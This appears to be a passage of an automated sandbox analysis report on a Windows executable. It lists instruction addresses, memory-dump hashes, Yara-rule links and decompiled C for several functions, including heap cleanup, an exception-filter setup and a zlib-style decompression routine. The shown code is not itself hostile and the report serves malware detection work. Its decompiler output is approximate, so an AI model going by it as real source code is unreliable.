                                                                                                                                                                                          0x00408ed2
                                                                                                                                                                                          0x00408ed2
                                                                                                                                                                                          0x00408ed6
                                                                                                                                                                                          0x00408eda
                                                                                                                                                                                          0x00408ee3
                                                                                                                                                                                          0x00408eea
                                                                                                                                                                                          0x00408eec
                                                                                                                                                                                          0x00408efa
                                                                                                                                                                                          0x00408f1b
                                                                                                                                                                                          0x00408f1d
                                                                                                                                                                                          0x00408f22
                                                                                                                                                                                          0x00408efc
                                                                                                                                                                                          0x00408f03
                                                                                                                                                                                          0x00408f10
                                                                                                                                                                                          0x00408f14
                                                                                                                                                                                          0x00408f14
                                                                                                                                                                                          0x00408eee
                                                                                                                                                                                          0x00408eee
                                                                                                                                                                                          0x00408ef3
                                                                                                                                                                                          0x00408ef3
                                                                                                                                                                                          0x00408f2b
                                                                                                                                                                                          0x00408f42
                                                                                                                                                                                          0x00408f4d
                                                                                                                                                                                          0x00408f4d
                                                                                                                                                                                          0x00408f4f
                                                                                                                                                                                          0x00408f52
                                                                                                                                                                                          0x00408f56
                                                                                                                                                                                          0x00408f56
                                                                                                                                                                                          0x00408f56
                                                                                                                                                                                          0x00408f58
                                                                                                                                                                                          0x00408f5a
                                                                                                                                                                                          0x00408f5c
                                                                                                                                                                                          0x00408f5c
                                                                                                                                                                                          0x00408f60
                                                                                                                                                                                          0x00408f6c
                                                                                                                                                                                          0x00408f6e
                                                                                                                                                                                          0x00408f70
                                                                                                                                                                                          0x00408f72
                                                                                                                                                                                          0x00408f72
                                                                                                                                                                                          0x00408f74
                                                                                                                                                                                          0x00408f74
                                                                                                                                                                                          0x00408f72
                                                                                                                                                                                          0x00408f78
                                                                                                                                                                                          0x00408f7a
                                                                                                                                                                                          0x00408f87
                                                                                                                                                                                          0x00408f87
                                                                                                                                                                                          0x00408f7c
                                                                                                                                                                                          0x00408f7c
                                                                                                                                                                                          0x00408f83
                                                                                                                                                                                          0x00408f83
                                                                                                                                                                                          0x00408f89
                                                                                                                                                                                          0x00408f93
                                                                                                                                                                                          0x00408f9d
                                                                                                                                                                                          0x00408fa0
                                                                                                                                                                                          0x00408fc4
                                                                                                                                                                                          0x00408fc4
                                                                                                                                                                                          0x00408fc8
                                                                                                                                                                                          0x00408ed2
                                                                                                                                                                                          0x00408ed6
                                                                                                                                                                                          0x00408eda
                                                                                                                                                                                          0x00408ee3
                                                                                                                                                                                          0x00408eea
                                                                                                                                                                                          0x00408eec
                                                                                                                                                                                          0x00408efa
                                                                                                                                                                                          0x00408f1b
                                                                                                                                                                                          0x00408f1d
                                                                                                                                                                                          0x00408f22
                                                                                                                                                                                          0x00408efc
                                                                                                                                                                                          0x00408f03
                                                                                                                                                                                          0x00408f10
                                                                                                                                                                                          0x00408f14
                                                                                                                                                                                          0x00408f14
                                                                                                                                                                                          0x00408eee
                                                                                                                                                                                          0x00408eee
                                                                                                                                                                                          0x00408ef3
                                                                                                                                                                                          0x00408ef3
                                                                                                                                                                                          0x00408f2b
                                                                                                                                                                                          0x00408f42
                                                                                                                                                                                          0x00408f4d
                                                                                                                                                                                          0x00408f4d
                                                                                                                                                                                          0x00408f4f
                                                                                                                                                                                          0x00408f52
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408fce
                                                                                                                                                                                          0x00408fce
                                                                                                                                                                                          0x00408fd2
                                                                                                                                                                                          0x00408fd4
                                                                                                                                                                                          0x00408fd8
                                                                                                                                                                                          0x00408fdc
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408fe2
                                                                                                                                                                                          0x00408fe2
                                                                                                                                                                                          0x00408fe2
                                                                                                                                                                                          0x00408fe4
                                                                                                                                                                                          0x00408fe6
                                                                                                                                                                                          0x00408fe6
                                                                                                                                                                                          0x00408ff5
                                                                                                                                                                                          0x00408ffd
                                                                                                                                                                                          0x00409004
                                                                                                                                                                                          0x00409007
                                                                                                                                                                                          0x00409009
                                                                                                                                                                                          0x0040900d
                                                                                                                                                                                          0x0040900f
                                                                                                                                                                                          0x00409013
                                                                                                                                                                                          0x00409016
                                                                                                                                                                                          0x00409018
                                                                                                                                                                                          0x0040901a
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040901c
                                                                                                                                                                                          0x0040901d
                                                                                                                                                                                          0x0040901e
                                                                                                                                                                                          0x00409021
                                                                                                                                                                                          0x00409023
                                                                                                                                                                                          0x00409027
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00409027
                                                                                                                                                                                          0x00409029
                                                                                                                                                                                          0x00409029
                                                                                                                                                                                          0x00409034
                                                                                                                                                                                          0x00409038
                                                                                                                                                                                          0x00409040
                                                                                                                                                                                          0x00409044
                                                                                                                                                                                          0x00409054
                                                                                                                                                                                          0x00409054
                                                                                                                                                                                          0x00409056
                                                                                                                                                                                          0x0040905f
                                                                                                                                                                                          0x00409068
                                                                                                                                                                                          0x00409077
                                                                                                                                                                                          0x0040907b
                                                                                                                                                                                          0x00409080
                                                                                                                                                                                          0x00408ed2
                                                                                                                                                                                          0x00408ed2
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408ed2
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00409046
                                                                                                                                                                                          0x00409046
                                                                                                                                                                                          0x0040904e
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040904e
                                                                                                                                                                                          0x00409044
                                                                                                                                                                                          0x00408fdc
                                                                                                                                                                                          0x00408fa2
                                                                                                                                                                                          0x00408fa2
                                                                                                                                                                                          0x00408fa6
                                                                                                                                                                                          0x00409085
                                                                                                                                                                                          0x00409092
                                                                                                                                                                                          0x00409097
                                                                                                                                                                                          0x0040909b
                                                                                                                                                                                          0x004090a0
                                                                                                                                                                                          0x004090a2
                                                                                                                                                                                          0x004090a4
                                                                                                                                                                                          0x004090a8
                                                                                                                                                                                          0x004090a8
                                                                                                                                                                                          0x004090aa
                                                                                                                                                                                          0x004090b2
                                                                                                                                                                                          0x004090b6
                                                                                                                                                                                          0x004090b8
                                                                                                                                                                                          0x004090bc
                                                                                                                                                                                          0x004090be
                                                                                                                                                                                          0x004090be
                                                                                                                                                                                          0x004090c0
                                                                                                                                                                                          0x004090c4
                                                                                                                                                                                          0x004090c8
                                                                                                                                                                                          0x004090c8
                                                                                                                                                                                          0x004090b6
                                                                                                                                                                                          0x004090d4
                                                                                                                                                                                          0x004090df
                                                                                                                                                                                          0x004090e1
                                                                                                                                                                                          0x004090e3
                                                                                                                                                                                          0x004090e5
                                                                                                                                                                                          0x004090e5
                                                                                                                                                                                          0x004090e7
                                                                                                                                                                                          0x004090e7
                                                                                                                                                                                          0x004090e5
                                                                                                                                                                                          0x004090eb
                                                                                                                                                                                          0x004090ed
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004090ef
                                                                                                                                                                                          0x004090ef
                                                                                                                                                                                          0x004090f4
                                                                                                                                                                                          0x004090f4
                                                                                                                                                                                          0x004090f6
                                                                                                                                                                                          0x004090f6
                                                                                                                                                                                          0x004090a8
                                                                                                                                                                                          0x004090fa
                                                                                                                                                                                          0x0040910c
                                                                                                                                                                                          0x00409115
                                                                                                                                                                                          0x00409117
                                                                                                                                                                                          0x0040911d
                                                                                                                                                                                          0x00408fac
                                                                                                                                                                                          0x00408fba
                                                                                                                                                                                          0x00408fbe
                                                                                                                                                                                          0x00408fc2
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408fc2
                                                                                                                                                                                          0x00408fa6
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408fa0
                                                                                                                                                                                          0x00408ebc
                                                                                                                                                                                          0x00408ebc
                                                                                                                                                                                          0x00408ec1
                                                                                                                                                                                          0x0040911e
                                                                                                                                                                                          0x0040912a
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408ec1
                                                                                                                                                                                          0x00408da1
                                                                                                                                                                                          0x00408da1
                                                                                                                                                                                          0x00408da3
                                                                                                                                                                                          0x00408daa
                                                                                                                                                                                          0x00408dad
                                                                                                                                                                                          0x00408dad
                                                                                                                                                                                          0x00408db4
                                                                                                                                                                                          0x00408da5
                                                                                                                                                                                          0x00408da5
                                                                                                                                                                                          0x00408da8
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408da8
                                                                                                                                                                                          0x00408da3
                                                                                                                                                                                          0x00408d9f
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408d93
                                                                                                                                                                                          0x00408db7
                                                                                                                                                                                          0x00408db7
                                                                                                                                                                                          0x00408dbe
                                                                                                                                                                                          0x00408cf3
                                                                                                                                                                                          0x00408cf3
                                                                                                                                                                                          0x00408cfc
                                                                                                                                                                                          0x00408d03
                                                                                                                                                                                          0x00408d08
                                                                                                                                                                                          0x00408d0d
                                                                                                                                                                                          0x00408d11
                                                                                                                                                                                          0x00408d13
                                                                                                                                                                                          0x00408d18
                                                                                                                                                                                          0x00408d1a
                                                                                                                                                                                          0x00408d1d
                                                                                                                                                                                          0x00408d2b
                                                                                                                                                                                          0x00408d2b
                                                                                                                                                                                          0x00000000

                                                                                                                                                                                          Strings
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID: @$@
                                                                                                                                                                                          • API String ID: 0-149943524
                                                                                                                                                                                          • Opcode ID: 524773d1bc2011db47f0014430bcd25baf081f96639b8f8b2c6f9a821cea509b
                                                                                                                                                                                          • Instruction ID: 284407f43597d2b1529aa5dbb826e4f49811f0ea4eaa41d9cabafce47d44ff82
                                                                                                                                                                                          • Opcode Fuzzy Hash: 524773d1bc2011db47f0014430bcd25baf081f96639b8f8b2c6f9a821cea509b
                                                                                                                                                                                          • Instruction Fuzzy Hash: 64E159316083418FC724DF28C58066BB7E1AFD9314F14493EE8C5A7391EB79D949CB8A
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0040ADB0, Relevance: 2.5, APIs: 2, Instructions: 23memoryCOMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 100%
                                                                                                                                                                                          			E0040ADB0(intOrPtr* __ecx) {
				void* _t5;
				intOrPtr* _t11;

				_t11 = __ecx;
				_t5 =  *(__ecx + 8);
				 *__ecx = 0x41eff0;
				if(_t5 != 0) {
					_t5 =  *((intOrPtr*)( *((intOrPtr*)( *_t5 + 8))))(_t5);
				}
				if( *(_t11 + 0xc) != 0) {
					_t5 = GetProcessHeap();
					if(_t5 != 0) {
						return HeapFree(_t5, 0,  *(_t11 + 0xc));
					}
				}
				return _t5;
			}





                                                                                                                                                                                          0x0040adb3
                                                                                                                                                                                          0x0040adb5
                                                                                                                                                                                          0x0040adb8
                                                                                                                                                                                          0x0040adc0
                                                                                                                                                                                          0x0040adc8
                                                                                                                                                                                          0x0040adc8
                                                                                                                                                                                          0x0040adce
                                                                                                                                                                                          0x0040add0
                                                                                                                                                                                          0x0040add8
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040ade1
                                                                                                                                                                                          0x0040add8
                                                                                                                                                                                          0x0040ade8

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • GetProcessHeap.KERNEL32 ref: 0040ADD0
                                                                                                                                                                                          • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: Heap$FreeProcess
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 3859560861-0
                                                                                                                                                                                          • Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
                                                                                                                                                                                          • Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
                                                                                                                                                                                          • Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
                                                                                                                                                                                          • Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 004123F1, Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 100%
                                                                                                                                                                                          			E004123F1() {

				SetUnhandledExceptionFilter(E004123AF);
				return 0;
			}



                                                                                                                                                                                          0x004123f6
                                                                                                                                                                                          0x004123fe

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • SetUnhandledExceptionFilter.KERNEL32(Function_000123AF), ref: 004123F6
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: ExceptionFilterUnhandled
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 3192549508-0
                                                                                                                                                                                          • Opcode ID: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
                                                                                                                                                                                          • Instruction ID: 17be93bd3878235df00445469c4c747c8dbd7a907b9f456768254b9c32cbcc1b
                                                                                                                                                                                          • Opcode Fuzzy Hash: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
                                                                                                                                                                                          • Instruction Fuzzy Hash: CA900270661144D7865017705D0968669949B4C6427618471653DD4098DBAA40505569
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00817E8F, Relevance: .8, Instructions: 783COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: 6499a25ff7447b389fc8d0f35bfc94d9811db0526d6ca037196e46e3719a58a5
                                                                                                                                                                                          • Instruction ID: 695968fbf78e7303d50f0411ca32823ef140bbc7cc81f644acab61977f1e56f1
                                                                                                                                                                                          • Opcode Fuzzy Hash: 6499a25ff7447b389fc8d0f35bfc94d9811db0526d6ca037196e46e3719a58a5
                                                                                                                                                                                          • Instruction Fuzzy Hash: EE527F71A04716DFC708CF29C8916A9B7E5FF88304F144A2DE896D7B80DB38E995CB91
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00407C3F, Relevance: .8, Instructions: 783COMMONCrypto
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 87%
                                                                                                                                                                                          			E00407C3F(unsigned int __ebx, signed char* __edx, signed int* __edi, signed int __esi) {
				signed int _t623;
				signed int _t626;
				signed char** _t637;
				signed int _t645;
				signed int _t649;
				signed int _t654;
				signed int _t657;
				signed int _t660;
				signed int _t662;
				signed int _t665;
				signed char _t771;
				signed char _t776;
				signed char _t778;
				signed int _t783;
				signed int _t785;
				signed int _t792;
				signed int _t795;
				signed int _t799;
				signed int _t803;
				signed int _t805;
				signed int _t813;
				unsigned int _t814;
				signed int _t815;
				signed int _t816;
				void* _t824;
				unsigned int _t828;
				unsigned int _t829;
				intOrPtr _t961;
				signed char _t962;
				signed char _t968;
				signed char _t974;
				signed char* _t989;
				signed char* _t998;
				signed int* _t1018;
				signed int _t1023;
				signed char** _t1025;
				signed char* _t1029;
				void* _t1032;
				void* _t1036;

				L0:
				while(1) {
					L0:
					_t1023 = __esi;
					_t1018 = __edi;
					_t989 = __edx;
					_t814 = __ebx;
					if(__esi >= 0xe) {
						goto L154;
					}
					L152:
					while(__edx != 0) {
						__eax =  *__ebp & 0x000000ff;
						__eax = ( *__ebp & 0x000000ff) << __cl;
						__edx = __edx - 1;
						__esi = __esi + 8;
						__ebp =  &(__ebp[1]);
						__ebx = __ebx + __eax;
						 *(__esp + 0x10) = __edx;
						if(__esi < 0xe) {
							continue;
						} else {
							goto L154;
						}
						L321:
					}
					L303:
					_t637 =  *(_t1036 + 0x40);
					_t637[3] =  *(_t1036 + 0x24);
					_t637[4] =  *(_t1036 + 0x18);
					 *_t637 = _t1029;
					_t637[1] = _t998;
					_t1018[0xe] = _t814;
					_t1018[0xf] = _t1023;
					if(_t1018[0xa] != 0 ||  *_t1018 < 0x18 &&  *(_t1036 + 0x28) != _t637[4]) {
						L306:
						if(E004072B0( *(_t1036 + 0x28),  *(_t1036 + 0x40)) == 0) {
							goto L309;
						} else {
							L307:
							 *_t1018 = 0x1c;
							L308:
							return 0xfffffffc;
						}
					} else {
						L309:
						_t1025 =  *(_t1036 + 0x40);
						_t1032 =  *((intOrPtr*)(_t1036 + 0x38)) - _t1025[1];
						_t824 =  *(_t1036 + 0x28) - _t1025[4];
						_t1025[2] =  &(_t1025[2][_t1032]);
						_t1025[5] =  &(_t1025[5][_t824]);
						_t1018[7] = _t1018[7] + _t824;
						if(_t1018[2] != 0 && _t824 != 0) {
							_push(_t824);
							if(_t1018[4] == 0) {
								_push(_t1025[3] - _t824);
								_push(_t1018[6]);
								_t649 = E004024A0();
							} else {
								_push(_t1025[3] - _t824);
								_push(_t1018[6]);
								_t649 = E00403080();
							}
							_t1018[6] = _t649;
							_t1036 = _t1036 + 0xc;
							_t1025[0xc] = _t649;
						}
						asm("sbb edx, edx");
						_t1025[0xb] = ( ~(_t1018[1]) & 0x00000040) + ((0 |  *_t1018 != 0x0000000b) - 0x00000001 & 0x00000080) + _t1018[0xf];
						if(_t1032 != 0 || _t824 != 0) {
							L317:
							if( *((intOrPtr*)(_t1036 + 0x44)) != 4) {
								L320:
								return  *(_t1036 + 0x30);
							} else {
								goto L318;
							}
						} else {
							L318:
							_t645 =  *(_t1036 + 0x30);
							if(_t645 != 0) {
								L297:
								return _t645;
							} else {
								L319:
								return 0xfffffffb;
							}
						}
					}
					goto L321;
					L154:
					_t815 = _t814 >> 5;
					_t1018[0x18] = (_t814 & 0x0000001f) + 0x101;
					_t816 = _t815 >> 5;
					_t626 = (_t815 & 0x0000001f) + 1;
					_t814 = _t816 >> 4;
					_t1023 = _t1023 - 0xe;
					_t1018[0x19] = _t626;
					_t1018[0x17] = (_t816 & 0x0000000f) + 4;
					if(_t1018[0x18] > 0x11e || _t626 > 0x1e) {
						L26:
						( *(_t1036 + 0x40))[6] = 0x41d338;
						goto L294;
					} else {
						L156:
						_t1018[0x1a] = 0;
						 *_t1018 = 0x10;
						L157:
						if(_t1018[0x1a] >= _t1018[0x17]) {
							L163:
							while(_t1018[0x1a] < 0x13) {
								L165:
								 *((short*)(_t1018 + 0x70 + ( *(0x41e468 + _t1018[0x1a] * 2) & 0x0000ffff) * 2)) = 0;
								_t1018[0x1a] = _t1018[0x1a] + 1;
							}
							L166:
							_t654 =  &(_t1018[0x14c]);
							_t1018[0x1b] = _t654;
							_t1018[0x13] = _t654;
							_t1018[0x15] = 7;
							_t657 = E00408C60(0,  &(_t1018[0x1c]), 0x13,  &(_t1018[0x1b]),  &(_t1018[0x15]),  &(_t1018[0xbc]));
							_t998 =  *(_t1036 + 0x28);
							_t1036 = _t1036 + 0x18;
							 *(_t1036 + 0x30) = _t657;
							if(_t657 != 0) {
								L293:
								( *(_t1036 + 0x40))[6] = 0x41d338;
								goto L294;
							} else {
								L167:
								_t1018[0x1a] = _t657;
								 *_t1018 = 0x11;
								L168:
								if(_t1018[0x1a] >= _t1018[0x19] + _t1018[0x18]) {
									L201:
									if( *_t1018 == 0x1b) {
										goto L295;
									} else {
										L202:
										_t660 =  &(_t1018[0x14c]);
										_t1018[0x1b] = _t660;
										_t1018[0x13] = _t660;
										_t1018[0x15] = 9;
										_t662 = E00408C60(1,  &(_t1018[0x1c]), _t1018[0x18],  &(_t1018[0x1b]),  &(_t1018[0x15]),  &(_t1018[0xbc]));
										_t1036 = _t1036 + 0x18;
										 *(_t1036 + 0x30) = _t662;
										if(_t662 == 0) {
											L204:
											_t1018[0x14] = _t1018[0x1b];
											_t1018[0x16] = 6;
											_t665 = E00408C60(2, _t1018 + 0x70 + _t1018[0x18] * 2, _t1018[0x19],  &(_t1018[0x1b]),  &(_t1018[0x16]),  &(_t1018[0xbc]));
											_t998 =  *(_t1036 + 0x28);
											_t1036 = _t1036 + 0x18;
											 *(_t1036 + 0x30) = _t665;
											if(_t665 == 0) {
												L206:
												 *_t1018 = 0x12;
												goto L207;
											} else {
												L205:
												( *(_t1036 + 0x40))[6] = 0x41d338;
												goto L294;
											}
										} else {
											L203:
											_t998 =  *(_t1036 + 0x10);
											( *(_t1036 + 0x40))[6] = 0x41d338;
											L294:
											 *_t1018 = 0x1b;
											while(1) {
												L295:
												_t623 =  *_t1018;
												if(_t623 > 0x1c) {
													break;
												}
												L1:
												switch( *((intOrPtr*)(_t623 * 4 +  &M004087C4))) {
													case 0:
														L2:
														if(_t1018[2] != 0) {
															L4:
															if(_t1023 >= 0x10) {
																L8:
																if((_t1018[2] & 0x00000002) == 0 || _t814 != 0x8b1f) {
																	_t628 = _t1018[8];
																	_t1018[4] = 0;
																	if(_t628 != 0) {
																		 *((intOrPtr*)(_t628 + 0x30)) = 0xffffffff;
																	}
																	L13:
																	if((_t1018[2] & 0x00000001) == 0 || (((_t814 & 0x000000ff) << 8) + (_t814 >> 8)) % 0x1f != 0) {
																		( *(_t1036 + 0x40))[6] = 0x41d338;
																		goto L294;
																	} else {
																		L15:
																		if((_t814 & 0x0000000f) == 8) {
																			L17:
																			_t814 = _t814 >> 4;
																			_t848 = (_t814 & 0x0000000f) + 8;
																			_t1023 = _t1023 - 4;
																			if(_t848 <= _t1018[9]) {
																				_push(0);
																				_push(0);
																				_push(0);
																				_t1018[5] = 1 << _t848;
																				_t633 = E004024A0();
																				_t998 =  *(_t1036 + 0x1c);
																				_t1018[6] = _t633;
																				 *( *((intOrPtr*)(_t1036 + 0x4c)) + 0x30) = _t633;
																				 *_t1018 =  !(_t814 >> 8) & 0x00000002 | 0x00000009;
																				_t1036 = _t1036 + 0xc;
																				_t814 = 0;
																				_t1023 = 0;
																			} else {
																				_t998 =  *(_t1036 + 0x10);
																				goto L293;
																			}
																		} else {
																			_t998 =  *(_t1036 + 0x10);
																			( *(_t1036 + 0x40))[6] = 0x41d338;
																			goto L294;
																		}
																	}
																} else {
																	_t1018[6] = E00403080(0, 0, 0);
																	 *(_t1036 + 0x2c) = 0x1f;
																	 *(_t1036 + 0x2d) = 0x8b;
																	_t636 = E00403080(_t1018[6], _t1036 + 0x2c, 2);
																	_t998 =  *(_t1036 + 0x28);
																	_t1036 = _t1036 + 0x18;
																	_t814 = 0;
																	_t1018[6] = _t636;
																	_t1023 = 0;
																	 *_t1018 = 1;
																}
																goto L295;
															} else {
																L6:
																while(_t998 != 0) {
																	_t652 = ( *_t1029 & 0x000000ff) << _t1023;
																	_t998 = _t998 - 1;
																	_t1023 = _t1023 + 8;
																	_t1029 =  &(_t1029[1]);
																	_t814 = _t814 + _t652;
																	 *(_t1036 + 0x10) = _t998;
																	if(_t1023 < 0x10) {
																		continue;
																	} else {
																		goto L8;
																	}
																	goto L321;
																}
																goto L303;
															}
														} else {
															 *_t1018 = 0xc;
															goto L295;
														}
														goto L321;
													case 1:
														L21:
														if(__esi >= 0x10) {
															L24:
															 *(__edi + 0x10) = __ebx;
															if(__bl != 8) {
																goto L293;
															} else {
																L25:
																if((__ebx & 0x0000e000) == 0) {
																	L27:
																	__eax =  *(__edi + 0x20);
																	if(__eax != 0) {
																		__ebx = __ebx >> 8;
																		__ecx = __ebx >> 0x00000008 & 0x00000001;
																		 *__eax = __ebx >> 0x00000008 & 0x00000001;
																	}
																	if(( *(__edi + 0x10) & 0x00000200) != 0) {
																		 *(__esp + 0x1c) = __bl;
																		__ebx = __ebx >> 8;
																		__edx = __esp + 0x20;
																		 *(__esp + 0x21) = __bl;
																		__eax =  *(__edi + 0x18);
																		__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
																		__edx =  *(__esp + 0x1c);
																		 *(__edi + 0x18) = __eax;
																	}
																	__ebx = 0;
																	__esi = 0;
																	 *__edi = 2;
																	goto L34;
																} else {
																	goto L26;
																}
															}
														} else {
															L22:
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																 *(__esp + 0x10) = __edx;
																if(__esi < 0x10) {
																	continue;
																} else {
																	goto L24;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 2:
														L32:
														if(__esi >= 0x20) {
															L36:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																 *(__eax + 4) = __ebx;
															}
															if(( *(__edi + 0x10) & 0x00000200) != 0) {
																 *(__esp + 0x1c) = __bl;
																__ecx = __ebx;
																__edx = __ebx;
																__ecx = __ebx >> 8;
																__edx = __ebx >> 0x10;
																__ebx = __ebx >> 0x18;
																__eax = __esp + 0x20;
																 *(__esp + 0x21) = __cl;
																 *((char*)(__esp + 0x22)) = __dl;
																 *(__esp + 0x23) = __bl;
																__ecx =  *(__edi + 0x18);
																__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 4);
																__edx =  *(__esp + 0x1c);
																 *(__edi + 0x18) = __eax;
															}
															__ebx = 0;
															__esi = 0;
															 *__edi = 3;
															goto L43;
														} else {
															L33:
															L34:
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																 *(__esp + 0x10) = __edx;
																if(__esi < 0x20) {
																	continue;
																} else {
																	goto L36;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 3:
														L41:
														if(__esi >= 0x10) {
															L45:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																__ebx = __ebx & 0x000000ff;
																 *(__eax + 8) = __ebx & 0x000000ff;
																__ecx =  *(__edi + 0x20);
																__eax = __ebx;
																__eax = __ebx >> 8;
																 *( *(__edi + 0x20) + 0xc) = __eax;
															}
															if(( *(__edi + 0x10) & 0x00000200) != 0) {
																 *(__esp + 0x1c) = __bl;
																__ebx = __ebx >> 8;
																__edx = __esp + 0x20;
																 *(__esp + 0x21) = __bl;
																__eax =  *(__edi + 0x18);
																__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
																__edx =  *(__esp + 0x1c);
																 *(__edi + 0x18) = __eax;
															}
															__ebx = 0;
															__esi = 0;
															 *__edi = 4;
															goto L50;
														} else {
															L42:
															L43:
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																 *(__esp + 0x10) = __edx;
																if(__esi < 0x10) {
																	continue;
																} else {
																	goto L45;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 4:
														L50:
														if(( *(__edi + 0x10) & 0x00000400) == 0) {
															L59:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																 *(__eax + 0x10) = 0;
															}
															goto L61;
														} else {
															L51:
															if(__esi >= 0x10) {
																L54:
																__eax =  *(__edi + 0x20);
																 *(__edi + 0x40) = __ebx;
																if(__eax != 0) {
																	 *(__eax + 0x14) = __ebx;
																}
																if(( *(__edi + 0x10) & 0x00000200) != 0) {
																	 *(__esp + 0x1c) = __bl;
																	__ebx = __ebx >> 8;
																	__ecx = __esp + 0x20;
																	 *(__esp + 0x21) = __bl;
																	__edx =  *(__edi + 0x18);
																	__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
																	__edx =  *(__esp + 0x1c);
																	 *(__edi + 0x18) = __eax;
																}
																__ebx = 0;
																__esi = 0;
																L61:
																 *__edi = 5;
																goto L62;
															} else {
																L52:
